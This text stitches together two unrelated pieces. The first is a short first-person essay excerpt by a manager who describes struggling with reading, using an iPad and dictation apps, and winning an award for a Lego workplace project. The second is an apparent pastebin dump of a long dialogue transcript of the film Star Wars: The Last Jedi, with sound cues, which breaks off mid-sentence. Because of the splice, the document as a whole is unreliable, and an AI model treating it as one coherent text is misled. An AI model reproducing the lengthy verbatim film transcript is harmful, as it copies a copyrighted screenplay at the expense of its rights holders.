I became more interested in reading in the early ’80s, after USA Today was born. It offered many color photographs, which got my attention, and I started reading the captions. The pictures were worth a thousand words to me, and the captions completed the story.
The iPad has changed my life. Ten years ago, I read very little. But with the iPad, I’m listening to an audiobook a week. When I need to write something, I use apps like Dragon Dictation and Speak It. I dictate what I want to write, then play it back and write from that. It’s easier than sitting down and trying to write in the moment. Spell-check has been a godsend.
In October, Sur-Seal won an award from the Association for Manufacturing Excellence, in part because of the Legos project. It was a personal achievement, but it also sends a message to anyone who might be struggling because they’re different: not only can they measure up in the workplace, but they can exceed expectations. After seeing our display, some vendors and suppliers have told us they’re using Legos at their companies. That’s very rewarding.
BECAUSE I had a difficult time when I was young, I believe in treating others as I would like to have been treated. If I go to an off-site leadership seminar, I design posters with motivational messages from the meeting, add clip art and display them on the walls to share what I’ve learned. I’ve had employees tell me — even those no longer working for us — that I’m the most inspirational boss they’ve ever had. That’s nice to hear.
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rawdownloadcloneembedreportprint text 59.87 KB (THEME MUSIC PLAYING) EVACUATION OFFICER: We're not clear yet. There are still pallets of cannon shells in C bunker. Forget the munitions, there's no time. Just get everyone on the transports. (DISTANT BOOM) Oh, no. (DISTANT BOOM) We've caught them in the middle of their evacuation. I have my orders from Supreme Leader Snoke himself. This is where we snuff out the Resistance once and for all. Tell Captain Canady to prime his dreadnought. Incinerate their base, destroy their transports and obliterate their fleet. (ALARM BLARING) (RADAR BLEEPING) General, Resistance ship approaching. Guns and shields in attack mode. A single light fighter. (BB-8 CHIRPING NERVOUSLY) Happy beeps here, buddy, come on. We've pulled crazier stunts than this. LEIA: Just for the record, Commander Dameron, I'm with the droid on this one. POE: Thank you for your support, General. Happy beeps. (FLICKS SWITCH) Attention. This is Commander Poe Dameron of the Republic fleet, I have an urgent communique for General Hugs. Patch him through. This is General Hux of the First Order. The Republic is no more. Your fleet are Rebel scum and war criminals. Tell your precious princess there will be no terms, there will be no surrender. POE: Hi, I'm holding for General Hugs. This is Hux. You and your friends are doomed. We will wipe your filth from the galaxy. POE: Okay. I'll hold. Hello? POE: Hello? Yup. I'm still here. Can he hear me? -POE: Hugs? -He can. POE: With an 'H.' Skinny guy. Kinda pasty. I can hear you. Can you hear me? Look, I can't hold forever. If you reach him, tell him Leia has an urgent message for him... I believe he's tooling with you, sir. POE: ...about his mother. Open fire! -(DISPLAY BLEEPING RAPIDLY) -BB-8, punch it! (BB-8 CHIRPS EXCITEDLY) (GRUNTS) (BB-8 EXCLAIMING) He's going for the dreadnought. Ha! He's insane. Woo-hoo! That's got a kick. All right, taking out the cannons now. Tallie, start your approach. TALLIE: (ON RADIO) Copy that. Captain Canady, why aren't you blasting that puny ship? That puny ship is too small and at too close range. We need to scramble our fighters five bloody minutes ago. He'll never penetrate our armor. He's not trying to penetrate our armor. He's clearing out our surface cannons. One cannon left. And here comes the parade. (BB-8 CHIRPING NERVOUSLY) Yeah! Yeah, I see him! (MACHINERY SPARKING) No, no, no. Damn it! BB-8, my weapons systems are down. We gotta take out that last cannon or our bombers are toast. Work your magic, buddy. (BB-8 CHIRPING) (BB-8 CHIRPING NERVOUSLY) (BB-8 MOANS) Are the auto-cannons primed? Primed and ready, sir. What are we waiting for? Fire on the base! Punch it! The last transport is in the air. The evacuation is complete. You did it, Poe. Now get your squad back here so we can get out of this place. No, General... POE: We can do this. We have the chance to take out a dreadnought. POE: These things are fleet killers. We can't let it get away. Disengage now... LEIA: Commander. That is an or... Wipe that nervous expression off your face, Threepio. Oh. Well, I will certainly try, General. Nervous? Let's go, BB-8. It's now or never! (BB-8 CHIRPING) (BB-8 SHRIEKING) POE: Yes! (BB-8 EXCLAIMS SOFTLY) All clear! Bring the bombs. Captain, Resistance bombers approaching. Of course they are. Bombers, keep that tight formation. Fighters, protect the bombers. It's not every day we get a shot at a dreadnought, so let's make this count. Copy that, Blue Leader. BOMBER : You get us there, we'll give it to them. -PILOT : Copy. We're on it. -Fighters incoming. Gunners, look alive. PILOT : Snubfighters at two-ten! PILOT : They're coming in! PILOT : Form up! They're everywhere! (YELLS) PILOT : Here they come. PILOT : Incoming fighters. Form up. PILOT : Vector in at attack speed. PILOT : Pull up! PILOT : Flank right. PILOT : Mayday! Mayday! Mayday! We're going down! Recharge the auto-cannons. Target their cruiser. (BB-8 CHIRPING) I see it. Tallie, they've targeted the fleet and begun the priming sequence. Copy that. We're almost there. Bombardiers, begin your drop sequence. BOMBARDIER: I've got a visual on the target. We're approaching the sweet spot. -(BLEEPING RAPIDLY) -BOMBARDIER: Bombs are armed. (SCREAMS) (BREATHING HEAVILY) -Auto-cannons aimed. -Forty seconds to full charge. Destroy that last bomber! Paige, come in. We're over the target. POE: Why aren't your bay doors open? You're the only bomber left. It's all down to you! -Nix! -POE: Paige! Drop the payload now! (ACTIVATOR BLEEPING) (GRUNTS) Look out! No! (YELLS) (GASPS) (GRUNTS) (GRUNTS) (INAUDIBLE) (GRUNTS) (INAUDIBLE) (GRUNTS) (GRUNTS) (ACTIVATOR BLEEPS) Bombs away! (EXHALES) (ALARM BLARING) Direct hit! Dreadnought down! (ALL CHEERING) (DISPLAY BLEEPS) (GROANS) FEMALE MONITOR: General, Supreme Leader Snoke is making contact from his ship. Excellent. I'll take it in my chambers. General Hux. (INHALES SHAKILY) Ah, good. Supreme Lea... (GRUNTS) (BREATHING HEAVILY) SNOKE: My disappointment in your performance cannot be overstated. They can't get away, Supreme Leader. We have them tied on the end of a string. Rey! (GRUNTS) (INSTRUMENTS BEEPING) (GRUNTS) (INDISTINCT PA CHATTER) Well done, pal. (BB-8 CHIRPING) 'Finn naked leaking bag'? What? Did you fry a chip? (BB-8 CHIRPING) (BB-8 CHIRPING) Finn! Finn, buddy. It's so good to see you. What? Let's... We need to get you dressed. Come on. You must have a thousand questions. Where's Rey? REY: Master Skywalker? (DOOR CREAKS) Master Skywalker? I'm from the Resistance. Your sister Leia sent me. We need your help. Hello? (SCREECHING) (CHITTERING) (KNOCKING) (KNOCKING) Go away. (CHEWIE GROWLS) Chewie, what are you doing here? He said you're coming back with us. How did you find me? Long story. We'll tell you on the Falcon. Falcon? (CHEWIE GROWLS SOFTLY) LUKE: Wait. Where's Han? (SNOKE LAUGHING) Tied on a string indeed, General Hux. Well done. The Resistance will soon be in our grasp. Thank you, Supreme Leader. (SNOKE LAUGHING) You wonder why I keep a rabid cur in such a place of power? A cur's weakness, properly manipulated, can be a sharp tool. How's your wound? KYLO REN: It's nothing. Hmm. The mighty Kylo Ren. When I found you, I saw what all masters live to see. Raw, untamed power. And beyond that, something truly special. The potential of your bloodline. A new Vader. Now I fear I was mistaken. I've given everything I have to you. To the dark side. Take that ridiculous thing off. (HELMET HISSING) Yes, there it is. You have too much of your father's heart in you, young Solo. I killed Han Solo. When the moment came, I didn't hesitate. And look at you, the deed split your spirit to the bone. You were unbalanced, bested by a girl who had never held a lightsaber! You failed! (ZAPPING) Skywalker lives. The seed of the Jedi Order lives. And as long as it does, hope lives in the galaxy. I thought you would be the one to snuff it out. Alas, you're no Vader. You're just a child in a mask. (EXHALES) (GRUNTS) (GRUNTING) Prepare my ship. REY: There's no light left in Kylo Ren. He's only getting stronger. The First Order will control all the major systems within weeks. We need your help. We need the Jedi Order back. We need Luke Skywalker. You don't need Luke Skywalker. Did you hear a word I just said? LUKE: You think what? I'm gonna walk out with a laser sword and face down the whole First Order? What did you think was going to happen here? You think that I came to the most unfindable place in the galaxy for no reason at all? Go away. I'm not leaving without you! (BREATHING HEAVILY) (CREATURE GROANING) (CREATURE WHINNYING) Careful! (THUNDER RUMBLING) LUKE: You're wasting your time. (INDISTINCT MURMURING) (MURMURING CONTINUES) LUKE: Who are you? I know this place. LUKE: Built a thousand generations ago to keep these. The original Jedi texts. Just like me, they're the last of the Jedi religion. You've seen this place. You've seen this island. (WHISPERING) Only in dreams. Who are you? The Resistance sent me. They sent you? What's special about you? -LUKE: Where are you from? -Nowhere. -No one's from nowhere. -Jakku. All right, that is pretty much nowhere. Why are you here, Rey, from nowhere? The Resistance sent me. We need your help. The First Order's become unstoppable. Why are you here? Something inside me has always been there. But now it's awake. And I'm afraid. I don't know what it is or what to do with it. And I need help. You need a teacher. I can't teach you. Why not? I've seen your daily routine. You're not busy. I will never train another generation of Jedi. I came to this island to die. It's time for the Jedi to end. Why? Leia sent me here with hope. If she was wrong, she deserves to know why. We all do. (WHIRRING) (EXHALES) -You're demoted. -What? Wait! -We took down a dreadnought. -At what cost? You start an attack, you follow it through. Poe, get your head out of your cockpit. There are things that you cannot solve by jumping in an X-wing and blowing something up! I need you to learn that. There were heroes on that mission. Dead heroes. No leaders. We're really nowhere. How's Rey gonna find us now? A cloaked binary beacon. To light her way home. All right, so until she gets back, what's the plan? We need to find a new base. One with enough power to get a distress signal to our allies scattered in the Outer Rim. (ALARM SOUNDING) Proximity alert! They found us. That's impossible. POE: That's Snoke's ship. You gotta be kidding me. -Can we jump to lightspeed? -CONNIX: We have enough fuel resources for just one jump. Well, then, do it. We gotta get out of here. Wait. They've tracked us through lightspeed. That's impossible. Yes. And they've done it. (BB-8 MOANS DEJECTEDLY) So if we jump through lightspeed, they'll just find us again and we'll be out of fuel. They've got us. Not yet, they don't. Permission to jump in an X-wing and blow something up? Permission granted. Admiral, swing us around! ACKBAR: Full astern. Rotate shields! RESISTANCE MONITOR: To your stations! Move, move, move! (ALARM BLARING) Follow my lead. (INDISTINCT CHATTER) MALE ANNOUNCER: Green Squadron to launch position. Clear all launch traffic. (BB-8 CHIRPING EXCITEDLY) Don't wait for me! Jump in and fire her up! FEMALE ANNOUNCER: Technicians, lock down supplies for launch conditions. (MEN YELLING INDISTINCTLY) (INSTRUMENT BEEPS) Move! Move! (SHRIEKS) (GRUNTING) (BB-8 SCREECHING) (GROANING) (ALARM RINGING) (BREATHING HEAVILY) (BB-8 BLEEPS) Poe, are you all right? We need to get out of range of those Star Destroyers. ACKBAR: We need to what? Full engines ahead. Get out of range of the Star Destroyers and the fighters will fall back. ACKBAR: All craft, full engines! Concentrate rear shields. (RESISTANCE MEMBERS SCREAMING) Ren, the Resistance have pulled out of range. We can't cover you at this distance. -HUX: Return to the fleet. -(GRUNTS) What is the point of all this if we can't blow up three tiny cruisers? Well, they're faster and lighter, sir. They can't lose us, but they can keep at a range where our cannons are ineffective against their shields. Well, keep up the barrage. Let's at least remind them that we're still here. PEAVY: Very good, sir. They won't last long burning fuel like this. It's just a matter of time. (INAUDIBLE) Move! Out of the way, everybody! Give room! MEDIC: Life signs are weak, but she's fighting. (BEACON PULSATING) (CHEWIE GROWLS SOFTLY) (PORG COOS) -(CHEWIE GROWLS) -(PORGS SCREECH) (PORG CHITTERS INQUISITIVELY) (CHEWIE GROWLS ANGRILY) (CHEWIE MOANS SOFTLY) (R-D BEEPING) Artoo? -(R-D BEEPING) -Artoo! (R-D BEEPING EXCITEDLY) (EXHALES) Yes. -(R-D BEEPING EXCITEDLY) -Yeah, I know. (R-D BEEPING ANGRILY) Hey, sacred island, watch the language. (R-D BEEPS SADLY) Old friend. (R-D BEEPS DEJECTEDLY) I wish I could make you understand. But I'm not coming back. Nothing can make me change my mind. Years ago, you served my father in the Clone Wars. Now he begs you to help him in his struggle against the Empire. I regret that I am unable to present my father's request to you in person... That was a cheap move. ...but my ship has fallen under attack, and I'm afraid my mission to bring you to Alderaan has failed. This is our most desperate hour. Help me, Obi-Wan Kenobi. You're my only hope. (GASPS) Tomorrow at dawn. Three lessons. I will teach you the ways of the Jedi and why they need to end. D'ACY: General Organa, Leia, is unconscious but recovering. That's the only good news I have. Admiral Ackbar, all our leadership, they're gone. (ALL MURMURING) D'ACY: Leia was the sole survivor on the bridge. C-3PO: Oh, dear. Oh, dear! If she were here, she'd say save your sorrow for after the fight. To that end, the chain of command is clear as to who should take her place. Vice Admiral Holdo of the cruiser Ninka. HOLDO: Thank you, Commander. Four hundred of us on three ships. We're the very last of the Resistance. But we're not alone. In every corner of the galaxy, the downtrodden and oppressed know our symbol, and they put their hope in it. We are the spark that will light the fire that will restore the Republic. That spark, this Resistance, must survive. That is our mission. Now, to your stations. And may the Force be with us. (INDISTINCT MURMURING) That's Admiral Holdo? Battle of Chyron Belt Admiral Holdo? (SPEAKING ALIEN DIALECT) Not what I expected. (SPEAKING ALIEN DIALECT) POE: Vice Admiral? Commander Dameron. With our current fuel consumption, there's a very limited amount of time that we can stay out of range of those Star Destroyers. Very kind of you to make me aware. Let's get me those fuel projections. And we need to shake 'em before we can find a new base, so, what's our plan? Our plan, captain? Not commander, right? Wasn't it Leia's last official act to demote you for your dreadnought plan where we lost our entire bombing fleet? 'Captain.' 'Commander.' You can call me whatever you like. I just wanna know what's going on. Of course you do. I understand. I've dealt with plenty of trigger-happy flyboys like you. You're impulsive. Dangerous. And the last thing we need right now. So stick to your post and follow my orders. FEMALE PA ANNOUNCER: Turbolink banks seven and eight are offline due to maintenance. (ROSE SOBBING) (SNIFFLING) ROSE: What are you doing here? Hey. Hi. Uh, I was... You know, I was just... ROSE: You're Finn! The Finn! -The Finn? -Sorry. I work behind pipes all day. Doing talking with Resistance heroes is not my forte. Doing... Doing talking. I'm Rose. Breathe. -(CHUCKLES) Okay. -Yeah. Look, I'm not a Resistance hero, but it was nice talking to you, Rose. May the Force be with you. Wow. You, too. Okay. But you are a hero. You left the First Order, what you did on the Starkiller Base... When we heard about it, my sister Paige said, 'Rose, that's a real hero.' 'Know right from wrong 'and don't run away when it gets hard,' she said. -You know... -(STUN GUN ACTIVATES) Just this morning, I've had to stun three people trying to jump ship in this escape pod. -What? -They were running away. That's disgraceful. I know. (STUN GUN DEACTIVATES) Anyway, uh... Gotta get back to what I was doing, so... What were you doing? Uh, just... -Doing some checks. -Checking the escape pods. -No, it's routine checks. -By boarding one with a packed bag. Okay. -Listen, I'm... -(STUN GUN ACTIVATES) -(ZAPS) -(FINN GRUNTS) (BEACON PULSATING) FINN: I can't move. I can't move. -ROSE: I know. -What happened? I'm taking you to the brig and turning you in for desertion. I was not deserting. -I told you that... -My sister just died protecting the fleet. And you were running away. I'm sorry. But this fleet is doomed, and if my friend comes back to it, she's doomed, too. I've gotta get this... I gotta get this beacon far away from here. Then she'll find me and be safe. You're a selfish traitor. Look, we can't outrun the First Order fleet. We can jump to lightspeed! Well, they can track us through lightspeed. They can track us through lightspeed? Yeah. They'd just show up thirty seconds later and we'd have blown a ton of fuel, which, by the way, we're dangerously short on. They can track us through lightspeed. Yes. And they could... I can't feel my teeth. What did you shoot me with? Active tracking. What now? Hyperspace tracking is new tech but the principle must be the same as any active tracker. -They're only tracking us... -Only tracking us... BOTH: ...from the lead ship. But we can't get to the tracker. It's an A-class process, they'll control it from the main bridge. Well, I mean, yes, but every A-class process... BOTH: ...has a dedicated power breaker. But... Wait, but who knows where the breaker room is on a Star Destroyer? I'm the guy that used to mop it. If I can get us there, I can shut their tracker down. Just give it to me one more time, simpler. So, the First Order's only tracking us from one Destroyer, the lead one. So we blow that one up? I like where your head's at, but no. They'd only start tracking us from another Destroyer. ROSE: But if we can... If we sneak on board the lead Destroyer and disable the tracker without them realizing, then we can... They won't realize it's off for one system cycle. -About six minutes. -FINN: Sneak on board. Disable the tracker. Our fleet escapes before they realize. Hmm. How'd you two meet? Just luck. POE: Yeah? Good luck? Not sure yet. Poe, we gotta do this. It'll save the fleet and it'll save Rey. C-3PO: If I must be the sole voice of reason, Admiral Holdo will never agree to this plan. Yeah, you're right, Threepio. It's a 'need-to-know' plan, and she doesn't. -That wasn't exactly my... -All right, you guys shut down that tracker. I'll be here to jump us to lightspeed. The question is, how do we sneak the two of you onto Snoke's Destroyer? ROSE: We steal clearance codes. No, they're Bio-Hexacrypt and rescrambled every hour. We can't get through their security shields undetected. Nobody can. Could I do it? Of course I could do it. But I can't do it. I'm a little tied down right now. -(BLASTER FIRING) -C-3PO: Oh! FINN: Maz? What is happening? Union dispute. You do not want to hear about it. (GRUNTS) But, lucky for you, there's exactly one guy I trust who can crack that kind of security! -(BLASTERS FIRING) -(MAZ GRUNTS) He's a master codebreaker, an ace pilot, a poet with a blaster. (GRUNTING) C-3PO: Oh, my. It sounds like this codebreaker fellow can do everything. Oh, yes, he can. You'll find him with a red plom bloom on his lapel rolling at a high stakes table in the casino on Canto Bight. Canto Bight? No, no. That's... Maz... Is there any way that we can take care of this ourselves? Sorry, kiddo. This is rarefied cracking. You wanna get on that Destroyer, I only know one option. Find the master codebreaker. (POE SIGHS) (BEACON PULSATING) -(BLASTER FIRING) -(GRUNTS) (MOUSE DROID BLEEPING) You'll bring Luke Skywalker to me. You're not doing this. The effort would kill you. Can you see my surroundings? You're gonna pay for what you did! I can't see yours. Just you. So, no. This is something else. (DOOR OPENING) Luke. What's that about? (SPEAKING ALIEN DIALECT) I was cleaning my blaster. It went off. LUKE: Let's get started. (SPEAKING ALIEN DIALECT) Who were those things? Caretakers. Island natives. They've kept up the Jedi structures since they were built. I don't think they like me. LUKE: Can't imagine why. REY: Master Skywalker, we need you to bring the Jedi back because Kylo Ren is strong with the dark side of the Force. Without the Jedi, we won't stand a chance against him. What do you know about the Force? It's a power that Jedi have that lets them control people and make things float. LUKE: Impressive. Every word in that sentence was wrong. Lesson one, sit here, legs crossed. The Force is not a power you have. It's not about lifting rocks. It's the energy between all things, a tension, a balance, that binds the universe together. Okay. But what is it? Close your eyes. Breathe. Now, reach out. (GASPS) I feel something. -You feel it? -Yes, I feel it. -That's the Force. -Really? LUKE: Wow, it must be really strong with you. I've never felt any... Ow! You meant reach out like... I'll try again. LUKE: Breathe. Just breathe. Reach out with your feelings. What do you see? REY: The island. Life. Death and decay, that feeds new life. Warmth. Cold. Peace. Violence. And between it all? Balance. An energy. A Force. And inside you? Inside me that same Force. And this is the lesson. That Force does not belong to the Jedi. To say that if the Jedi die, the light dies, is vanity. Can you feel that? There's something else beneath the island. A place. A dark place. Balance. Powerful light, powerful darkness. It's cold. It's calling me. Resist it, Rey. Rey? Rey! (ROARING) (PANTING) You went straight to the dark. That place was trying to show me something. It offered something you needed. And you didn't even try to stop yourself. REY: But I didn't see you. Nothing from you. You've closed yourself off from the Force. Of course you have. I've seen this raw strength only once before, in Ben Solo. It didn't scare me enough then. It does now. (RADAR BLEEPS) What was that? Nothing, admiral. Passing debris. The fleet's only got hours of fuel left. We gotta hurry. Still can't reach the Resistance? -(CHEWIE GROWLS) -Keep at it. If you get through, check their status. And ask about Finn. (CHEWIE GROWLING) (PORG CHEEPING) (CHEWIE GROANING) (PORG CHIRPING) (THUNDER RUMBLING) Why is the Force connecting us? You and I. Murderous snake. You're too late. You lost. I found Skywalker. Did he tell you what happened? The night I destroyed his temple, did he tell you why? I know everything I need to know about you. You do? Ah, you do. You have that look in your eyes. From the forest. When you called me a monster. You are a monster. Yes, I am. ROSE: Okay. We get in, we find this codebreaker, we get out. You know this town? Canto Bight? From stories. It's a terrible place filled with the worst people in the galaxy. Great. (SPEAKING ALIEN DIALECT) (PASSENGERS MURMURING EXCITEDLY) SLOWEN LO: I told those two, I said, 'This is a public beach. 'You can't park that shuttle here.' But they just lit off toward the casino. (UPBEAT MUSIC PLAYING) Place your bets. Place your bets. All bets on the table right now, right now! Place your bets here. (INDISTINCT CHATTER) (EXHALES) FINN: Aw, yes! This place is great! Okay. Maz said this master codebreaker would have a red plom bloom on his lapel. Let's find him and get out of here. Well played. The house wins. (LARGE ALIEN ROARING) CROUPIER: Where are your manners, more like? ROSE: Come on! (BB-8 CHIRPS) (SPEAKING ALIEN DIALECT) (BB-8 CHIRPING NERVOUSLY) (GRUNTS) (BB-8 MOANS SOFTLY) (SPEAKING ALIEN DIALECT) (BB-8 CHIRPS) (BELCHING) (BB-8 CHIRPING) (ALIEN GROANS) FINN: We've covered this whole casino. Zero red plom blooms. -Where is this guy? -(DISHES CLATTERING) Were those what I think they were? (ANNOUNCER SPEAKING ALIEN DIALECT) (CROWD CHEERING) FINN: What are those things? ROSE: Fathiers. I've never seen a real one. Look, this whole place is beautiful. I mean, come on. Why do you hate it so much? Look closer. ROSE: My sister and I grew up in a poor mining system. (ZAPPING) ROSE: The First Order stripped our ore to finance their military then shelled us to test their weapons. (SHOUTING IN ALIEN DIALECT) They took everything we had. And who do you think these people are? There's only one business in the galaxy that'll get you this rich. War. Selling weapons to the First Order. I wish I could put my fist through this whole lousy, beautiful town. (BB-8 CHIRPING EXCITEDLY) Red plom bloom! (GUESTS GASP) Red plom bloom! The master codebreaker! Yep, those are the shuttle parkers. (ZAPPING) OFFICER: All right. You two are under arrest for parking violation B/. You have the right to remain... -What was that? -No, no, no. Not now, lovey. I'm on a roll. (ALL CHEERING) (BB-8 CHIRPS ANXIOUSLY) (GRUNTS) (PANTING) (LIGHTSABER BUZZING) LUKE: Lesson two. Now that they're extinct, the Jedi are romanticized, deified. But if you strip away the myth and look at their deeds, the legacy of the Jedi is failure. Hypocrisy, hubris. That's not true. At the height of their powers, they allowed Darth Sidious to rise create the Empire, and wipe them out. It was a Jedi Master who was responsible for the training and creation of Darth Vader. And a Jedi who saved him. Yes, the most hated man in the galaxy. But you saw there was conflict inside him. You believed that he wasn't gone. That he could be turned. And I became a legend. For many years, there was balance and then I saw Ben. My nephew with that mighty Skywalker blood. And in my hubris, I thought I could train him, I could pass on my strengths. Han was Han about it, but... Leia trusted me with her son. I took him, and a dozen students, and began a training temple. By the time I realized I was no match for the darkness rising in him, it was too late. What happened? LUKE: I went to confront him. And he turned on me. Ben, no! LUKE: He must have thought I was dead. When I came to, the temple was burning. He had vanished with a handful of my students. And slaughtered the rest. Leia blamed Snoke, but it was me. I failed. Because I was Luke Skywalker. Jedi Master. A legend. The galaxy may need a legend. I need someone to show me my place in all this. And you didn't fail Kylo. Kylo failed you. I won't. The main cruiser's still keeping beyond range. But their medical frigate is out of fuel and its shields are down. The beginning of their end. Destroy it. The last of our crew has been evacuated and heading your way. It's been an honor, admiral. Godspeed, Rebels! CONNIX: Admiral, fuel reserves at six hours. Maintain our current course. Steady on. Finn, Rose, where are you guys? Deal me in. Thanks. (BB-8 MOANING SOFTLY) ROSE: Finn, the fleet is running on fumes. Without a codebreaker to break us onto Snoke's Star Destroyer... -(CLANGING) -(FINN GRUNTS) -What do we do? -FINN: I don't know. Unless you got a thief in your pocket, our plan is shot. DJ: Um, I can do it. What? What? What? DJ: S-S-Sorry, I just couldn't help but overhear all the stuff that you were saying really loudly while I was trying to sleep. Codebreaker? Thief? I can do it. We're not talking about picking pockets, okay? Yeah. D-D-Don't let the wrapper fool you, friend. Me and the First Order codeage go way back. And, if the price is right, I could break you into old man S-S-Snoke's boudoir. -No. -We're... We got it covered. Catoohgah. -Did he just... -Yeah. We gotta get out of here! This way! GUARD: Why you little... (BB-8 CHIRPING) (GUARDS MUMBLING) D-D-Did you do this? (BB-8 CHIRPING) Hey, hands up! -Hands up! -Yeah, man. (GROANING) (GRUNTS) (BLOWS) (BB-8 CHIRPING INQUISITIVELY) What's your story, roundie? They went this way! (INDISTINCT SHOUTING) -Lock down all the exits. -Wait. That smelled great. Those cops will be here any minute. What now? -(FATHIER GROANING) -(FINN SHRIEKING) Whoa! Ooh! (LAUGHS) (FATHIER MOANS) No, wait. Please, don't! ROSE: We're with the Resistance. OFFICER : Roger that. Checking the stables now. (FATHIER GRUNTING) OFFICER : This way. OFFICER : They must have come through here. (DOORS OPENING) (FATHIER BRAYS) ROSE: Hyah! (OFFICERS GROANING) Go, go, go! Whoo! (FATHIERS BLEATING) (ROSE WHOOPING) FINN: Stop enjoying this! Stop enjoying this! (ROSE LAUGHS) SPEEDER PILOT: We've got them. They're not going anywhere. (FATHIER BRAYING) (BOTH GRUNTING) BOTH: Ahhh! (CROWD SCREAMING) (VOCALIZING) Huh? (ALIEN YELLING) (ROSE SCREAMING) (LAUGHING) -(FATHIERS STAMPEDING) -(PANICKED YELLING) (DINERS SCREAMING) (MAN YELPING) ROSE: Move, move, move! Get out of the way! Our ship's on the beach straight ahead! We need cover! (BOTH SCREAMING) (BOTH GRUNTING) Too much cover! There it is! BOTH: No! FINN: Come on! (ROSE SCREAMING) (FINN GRUNTS) SPEEDER PILOT: Let the herd go. Stick with the perps. Where'd they go? I think we lost him! Now we get down to the beach and circle back around... Cliff! (ROSE SCREAMS) (BOTH PANTING) ROSE: We're trapped. (SPEEDERS APPROACHING) It was worth it, though. To tear up that town, make 'em hurt. (FATHIER GRUNTS) ROSE: Go. Now it's worth it. SPEEDER PILOT: There they are. (BB-8 CHIRPING) BB-8! Wait, are you flying that thing? (BB-8 CHIRPING EXCITEDLY) DJ: Ah. N-N-Need a lift? (WIND WHISTLING) (MACHINES BEEPING) Luke. Leia. I'd rather not do this now. KYLO REN: Yeah, me, too. Why did you hate your father? Do you have something, a cowl or something you could put on? (SIGHS) Why did you hate your father? Give me an honest answer. You had a father who loved you, he gave a damn about you. -I didn't hate him. -Then why? Why what? Why what? Say it. Why did you... Why did you kill him? (SOBS) I don't understand. KYLO REN: No? Your parents threw you away like garbage. -They didn't! -They did. But you can't stop needing them. It's your greatest weakness. Looking for them everywhere, in Han Solo, now in Skywalker. Did he tell you what happened that night? Yes. No. KYLO REN: He had sensed my power, as he senses yours. And he feared it. (LIGHTSABER ACTIVATING) Liar. Let the past die. Kill it if you have to. That's the only way to become what you were meant to be. No! No! FEMALE VOICE: Rey? (FINGERS SNAPPING) REY: I should have felt trapped or panicked. But I didn't. This didn't go on forever, I knew it was leading somewhere. And that, at the end, it would show me what I came to see. FEMALE VOICE: Rey. Let me see them. My parents, please. (BREATHING HEAVILY) REY: I thought I'd find answers here. I was wrong. I'd never felt so alone. You're not alone. Neither are you. Rey? It isn't too late. (BREATHING SHAKILY) Stop! Is it true? Did you try to murder him? Leave this island now! Stop. Stop! (GRUNTING) Did you do it? Did you create Kylo Ren? (GRUNTS) (PANTING) (REY SHRIEKS) (REY GRUNTING) -Tell me the truth. -(LIGHTSABER DEACTIVATING) I saw darkness. I'd sensed it building in him. I'd seen it in moments during his training. But then I looked inside, and it was beyond what I ever imagined. (LIGHTSABERS CLASHING) (DISTANT SCREAMING) Snoke had already turned his heart. He would bring destruction, and pain, and death, and the end of everything I love because of what he will become. And for the briefest moment of pure instinct, -I thought I could stop it. -(LIGHTSABER ACTIVATING) It passed like a fleeting shadow. And I was left with shame, and with consequence. And the last thing I saw were the eyes of a frightened boy whose master had failed him. Ben, no! You failed him by thinking his choice was made. It wasn't. There's still conflict in him. If he were turned from the dark side, that could shift the tide. This could be how we win. This is not going to go the way you think. It is. Just now when we touched hands, I saw his future. As solid as I'm seeing you. If I go to him, Ben Solo will turn. Rey, don't do this. Then he's our last hope. Master Yoda. Young Skywalker. I'm ending all of this. The tree, the text, the Jedi. I'm gonna burn it down. Hmm. (LAUGHING) Ah, Skywalker. Missed you, have I. (GRUNTS) So it is time for the Jedi Order to end. Time it is. Hmm. For you to look past a pile of old books, hmm? The sacred Jedi texts. Oh. Read them, have you? -Well, I... -Page-turners they were not. Yes, yes, yes. Wisdom they held, but that library contained nothing that the girl Rey does not already possess. Skywalker, still looking to the horizon. Never here, now, hmm? The need in front of your nose. Hmm? I was weak. Unwise. Lost Ben Solo, you did. Lose Rey, we must not. I can't be what she needs me to be. Heeded my words not, did you? Pass on what you have learned. Strength, mastery. But weakness, folly, failure also. Yes, failure most of all. The greatest teacher, failure is. (YODA GRUNTING) Luke, we are what they grow beyond. That is the true burden of all masters. Four parsecs to go. This thing really cooks. I just hope we're in time. You can actually do this, right? Yeah, about that... Guys, I can do it. But there exists a pre-'do it' conversation about price. Once we're done, the Resistance will give you whatever you want. What you got deposit-wise? Are you kidding me? Look at us. Is that Haysian smelt? That's something. No, we gave you our word. You're gonna get paid. That should be enough. DJ: Guys, I wanna keep helping. But no something, n-n-no doing. Okay, listen here, you've got... Do it. Now I can help. Give it back. DJ: What? FINN: Give it back! You have no idea how much that medallion means to her. What are you... Why are you ransacking your own ship? (SIGHS) It's not your ship. (BB-8 CHIRPING) He says I stole it. -Yeah, I got that. -We stole it. (BB-8 CHIRPS) At least you're stealing from the bad guys and helping the good. Good guys, bad guys, made-up words. Let's see who formerly owned this gorgeous hunk-uh. Ah, this guy was an arms dealer. Made his bank selling weapons to the bad guys. Oh... And the good. Finn, let me learn you something big. It's all a machine, partner. Live free, don't join. That was the last of their support ships. It's just their main cruiser now. And their fuel reserve? By our calculation, critical. She in there? The admiral's banned you from the bridge. -Let's not have a scene. -No, let's. POE: Holdo? D'ACY: You're not allowed in here. -Flyboy. -Cut it, lady. We had a fleet, now we're down to one ship, and you've told us nothing! Tell us that we have a plan! That there's hope! When I served under Leia, she would say, hope is like the sun. If you only believe in it when you can see it... You'll never make it through the night. Yes. (POE SIGHS) Are you fueling up the transports? You are. All of them? We're abandoning ship? Is that... That's what you got? That's what you brought us to? Coward! Those transport ships are unarmed, unshielded. We abandon this cruiser, we're done. We don't stand a chance. No, you are not just a coward, you are a traitor. Get this man off my bridge. POE: (ON RADIO) Finn, Holdo's loading the crew in the shuttle. She's going to abandon ship. Where are you? Poe, we're on our way back to the fleet. We're so close. Did you find the master codebreaker? Well, we found a codebreaker. We can shut the tracker down. Just buy us a little more time. All right. Hurry. As soon as I launch, you jump back out of range. Stay there until you get my signal for where to rendezvous. (R-D BEEPS) -(CHEWIE GROWLS) -If you see Finn before I do, tell him... (CHEWIE GROWLS) Yeah, perfect. Tell him that. (CHEWIE GRUNTS) (BREATHING HEAVILY) (GASPS) DJ: Cloaking our approach. We should be off their scopes. Then we slice a slit in their shield. Blip bloppity bloop, and slip right through. (BUZZING) (BUZZING STOPS) So a Stormtrooper and a who now are doing what? They are trying to save us. This is our best chance for escape. You have to give Finn and Rose all the time that you can. You have bet the survival of the Resistance on bad odds and put us all at risk. There's no time now. We have to get clear of the cruiser. Load the transports. CREW MEMBER: Right away, admiral. Yeah, I 